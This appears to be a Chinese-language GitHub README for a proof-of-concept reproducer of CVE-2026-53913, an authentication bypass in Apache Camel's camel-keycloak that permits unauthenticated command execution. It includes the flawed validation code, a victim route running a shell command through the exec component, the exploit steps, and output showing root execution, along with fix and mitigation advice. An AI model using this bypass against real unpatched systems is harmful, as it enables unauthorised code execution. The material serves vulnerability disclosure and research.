oscerd/CVE-2026-53913

GitHub: oscerd/CVE-2026-53913

CVE-2026-53913 的概念验证复现器,演示 Apache Camel camel-keycloak 在基本设置下因 token 未经验证而导致的认证绕过及未认证 RCE 漏洞。

Stars: 0 | Forks: 0

# camel-keycloak 故障开放认证绕过复现器 (CVE-2026-53913) 本项目演示了 Apache Camel `camel-keycloak` 安全策略中的一个**故障开放认证绕过**漏洞, 追踪编号为 **CVE-2026-53913** —— 这是 2026 年批次中最严重的问题(一个可能导致未认证 RCE 的预认证绕过漏洞)。 `KeycloakSecurityPolicy` 被应用于路由以要求有效的 Keycloak token。但实际验证 token(签名 / 签发者 / 过期时间以及内省路径)的唯一代码位于 `validateRoles()` / `validatePermissions()` 内部,并且它们各自**仅在对应的必填列表非空时**才会被调用: ``` // KeycloakSecurityProcessor.beforeProcess (affected 4.18.2) String accessToken = getAccessToken(exchange); if (accessToken == null) { throw new CamelAuthorizationException("Access token not found in exchange", exchange); // the ONLY guard } if (!policy.getRequiredRolesAsList().isEmpty()) { validateRoles(accessToken, exchange); // token verification happens ONLY here... } if (!policy.getRequiredPermissionsAsList().isEmpty()) { validatePermissions(accessToken, exchange); // ...or here } ``` `KeycloakSecurityPolicy` 默认将 `requiredRoles` 和 `requiredPermissions` 设为 `""`。因此,在组件官方文档记载的**“基本设置”**中(应用该策略,但不配置角色/权限——这是常见的“仅要求认证”场景),token **只会进行非空检查**,并且**永远不会被验证**。任何非空的 bearer 值——例如像 `x` 这样的垃圾字符串,或者伪造的、未签名的 JWT——都能到达受保护的路由。启用 `useTokenIntrospection` 也无济于事:该路径也受同样的条件限制。 当受保护的路由转发到特权接收端(exec / sql / bean / file)时,这就构成了**未认证的远程代码执行**。此 PoC 将受保护的 admin 路由连接到 `exec` 组件,并展示了使用伪造/垃圾 bearer token 执行 shell 命令的过程(`CWE-287` / `CWE-306` / `CWE-636`)。 安全公告: ## 漏洞总结 | 属性 | 值 | |----------|-------| | **组件** | `camel-keycloak` (安全策略) | | **受影响类** | `org.apache.camel.component.keycloak.security.KeycloakSecurityProcessor#beforeProcess` (验证受限于非空的角色/权限) | | **CWE** | CWE-287 (不当认证) / CWE-306 (缺失认证) / CWE-636 (未安全失败) | | **影响** | 预认证绕过;当受保护的路由转发到代码执行接收端时会导致未认证 RCE | | **前置条件** | 由 `KeycloakSecurityPolicy` 保护且未配置所需角色/权限的路由(文档记载的基本设置) | | **受影响版本** | 从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 (camel-keycloak 在 4.15.0 中引入) | | **修复版本** | 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23738 (PR [apache/camel#23958](https://github.com/apache/camel/pull/23958)) | | **致谢** | Lidor Ben Shitrit (Novee Security) | ## 为什么不需要 Keycloak 服务器 绕过路径从不验证 token,因此它从不联系 Keycloak。复现器使用普通的(不可达的)服务器 URL/realm/client 配置策略,并且根本不会执行到验证代码——这正是缺陷所在。此过程不涉及任何 Keycloak 实例、网络或凭据。 ## 受害者路由 ``` from("platform-http:/admin/run") .policy(keycloakPolicy) // Basic Setup: no roles/permissions -> token never verified .setHeader("CamelExecCommandExecutable", constant("/bin/sh")) .setHeader("CamelExecCommandArgs", constant("-c \"id > /tmp/pwned\"")) .to("exec:sh"); // the privileged admin operation ``` ## 仓库布局 ``` CVE-2026-53913/ ├── pom.xml # camel-platform-http + camel-keycloak + camel-exec 4.18.2 ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── KeycloakPolicyConfig.java # KeycloakSecurityPolicy in the Basic Setup (no roles/permissions) │ ├── VictimRoute.java # platform-http:/admin/run -> policy -> exec │ └── ExploitController.java # attacker: no token / garbage / forged JWT └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose - Java 17+ 和 Maven 3.8+ ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 预期输出 ``` 1) No Authorization header HTTP 500 (rejected) 2) Authorization: Bearer x (garbage — not a JWT at all) HTTP 200 (BYPASSED -> admin operation ran) /tmp/pwned present: true -> uid=0(root) gid=0(root) groups=0(root) 3) Authorization: Bearer HTTP 200 (BYPASSED -> admin operation ran) /tmp/pwned present: true -> uid=0(root) gid=0(root) groups=0(root) >>> PROVEN: with no required roles/permissions, the token is never verified. Any non-null bearer >>> value (garbage or a forged unsigned JWT) reaches the protected admin operation, while a missing >>> token is the only thing rejected. Pre-auth bypass -> unauthenticated RCE (id written to /tmp/pwned): true ``` ## 推荐修复 升级到 **4.18.3 / 4.21.0** (CAMEL-23738)。升级后,`KeycloakSecurityPolicy` 会在应用时验证提供的 token,即使未配置角色/权限也是如此,因此伪造/垃圾 token 将被拒绝。 ## 缓解措施 在升级之前,不要在没有角色/权限的情况下单独依赖 `KeycloakSecurityPolicy`。请配置所需的角色或权限(这会强制走验证路径),并且/或者在驱动特权接收端的任何路由前放置一个独立的、已验证的认证检查。 ## 免责声明 本复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。注入的命令是无害的 `id`,仅写入一个标记文件。
标签:Apache Camel, JS文件枚举, Keycloak, 域名枚举, 安全漏洞复现, 漏洞PoC, 版权保护, 请求拦截, 身份验证绕过